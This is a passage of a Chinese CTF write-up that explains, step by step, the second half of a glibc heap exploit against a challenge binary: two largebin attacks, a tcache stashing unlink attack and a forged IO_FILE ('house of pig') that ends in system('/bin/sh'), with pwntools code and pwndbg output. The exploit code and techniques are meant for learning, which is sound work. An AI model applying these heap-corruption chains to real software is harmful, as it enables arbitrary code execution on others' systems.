Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#會從0x430的unsortedbin中切割0xb0的chunk之前,會先將這個0x430的chunk放到largebin上,再進行切割,切割之后會產生last remainder,再將last remainder放到unsortedbin上,在將unsortedbin放入largebin時就已經出發了largebinattack,往free_hook-0x8處寫入了一個堆地址
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#恢復現場

這里解釋一下Add(0xa0, 'C'*0x28)為什么能觸發largebin_attack

R8DquF.jpg

在int_malloc函式的大回圈開始處就會獲取unsortedbin中的chunk

還是通過原始碼除錯來看看,不過就只標出幾個關鍵點,畢竟這不是本文的重點

R8rrVJ.png

pwndbg> p/x size
$2 = 0x440
pwndbg> p victim
$3 = (mchunkptr) 0x55a1135af940
 
unsortedbin
all: 0x55a1135af940 —? 0x7f61ad8c2be0 (main_arena+96) ?— 0x55a1135af940

取到了unsortedbin中的chunk

R8siR0.png

R8sAMT.png

將unsortedbin中的chunk解鏈

R8sKiR.png

將unsortedbin插入到largebin

R8sNod.png

這一步之后實際上就已經完成了largebin attack,但我們繼續把流程走完

R8sRFs.png

largebin中多出了一個chunk

后續會進行一大堆標志位設定,我們直接看到切割chunk

R8ySOO.png

R8yVpt.png

切割了之前的unsortedbin,remainder產生

R8ylkj.png

然后將last_remainder插入到unsortedbin中

R8yJ10.png

流程結束,第一次largebin attack完成

R8y0AJ.png

free_hook-0x8被寫入了一個堆地址

第四部分 第二次largebin attack ,往_io_list_all寫入一個堆地址

#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1
#將lastremainder申請回來
Change(1)
Del(19)
#free A19,大小為0x430的chunk
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')
#故技重施,將largebin中的0x440的chunk的bk_nextsize修改為IO_list_all-0x20
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#和第三部分的一樣,觸發largebin_attack
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#恢復現場

R86CvV.png

第二次largebin attack完成

第五部分 tcache_stashing_unlink plus IO_FILE攻擊

#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')
#A8原本是0x190的chunk,然后被切割為了0xf0和0xa0的chunk,由于uaf,edit A8可以直接修改到0xa0的smallbin的fd和bk
#tcache_stashing_unlink plus的利用條件就是在不修改fd的情況下將bk修改為目標地址-0x10,我們的目標地址是free_hook-0x10,因此要將bk修改為free_hook-0x20
Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
Add(0x440, payload) # C3 change fake FILE _chain
#io_list_all被覆寫為了0x440的largebin的地址,我們將這個largebin申請回來,在其中設定下一個chain,并在這個chain指向的chunk中偽造IO_FILE
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
#觸發tcache_stashing_unlink_attack,將free_hook-0x10鏈入tcache中
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0) #根據我們前面分析的,fp->flag=0
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
#滿足fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                #v4 _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8)                #v5 _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
sa('Gift:', payload)
#使用角色三也就是daddy申請到C4時會有一個gift
 
Menu(5)
sla('user:\n', '')

R87Wt0.png

在largebin中設定好chain

在使用角色三daddy申請到C4時會有一個gift

R8HPHA.png

會額外申請一個0xf0的chunk,然后往其中讀入資料,并且是連續讀入

R8XpTJ.png

這個0xf0的chunk會從unsortedbin中切割

R8X31P.png

largebin中的chain指向的正是這個chunk,使用fp命令可以將這個地址作為一個IO_FILE結構體查看

R8X51x.png

根據io_str_overflow申請chunk的size計算規則

new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100
$2 = 0x94

根據malloc的申請規則,會申請0xa0的chunk,此時0xa0的tcache中的第一個chunk為free_hook-0x10

R8j9u8.png

malloc申請完chunk后,如果_IO_buf_base指向的空間有資料的話就會將其中的資料拷貝到new_buf中,也就是free_hook-0x10,_IO_buf_base指向位置的資料為/bin/sh和system的地址,因此最侄訓將/bin/sh拷貝到free_hook-0x10,將system拷貝到free_hook-0x8和free_hook,最終呼叫free則會觸發system('/bin/sh')

R8vgY9.png

house of pig的觸發條件就是呼叫 _IO_flush_all_lockp的條件,即需要滿足如下三個之一:

  1. 當 libc 執行abort流程時,
  2. 程式顯式呼叫 exit ,
  3. 程式能通過主函式回傳,

這個程式里呼叫了很多exit,可以觸發house of pig

我們跟到io_str_overflow里看看執行程序

RG9PbV.png

pwndbg> p/x new_size
$3 = 0x94

size和我們計算的一樣

呼叫malloc之前

RG9VC4.png

呼叫malloc之后

RG9e29.png

free_hook已經被申請出去了

接下來開始memcpy

RG9Mb6.png

RG9art.png

old_buf指向的的資料是/bin/sh

memcpy執行之后

RG92Mn.png

隨后就是getshell

最后提一嘴,為什么要將chunk申請到free_hook-0x10而不是free_hook-0x8,是因為新版本的glibc對tcache增加了檢查,tcache申請的地址需要0x10對齊,這就是原因,

0x5.完結撒花

通過這題學到了很多,也復習鞏固了很多知識點,耐著性子進行除錯,硬著頭皮恢復了結構體,識訓滿滿,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297770.html

標籤:其他

上一篇:靶機滲透 hackme-1(詳解,適合新手)

下一篇:網路安全學習:內網滲透案例,打破滲透瓶頸

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more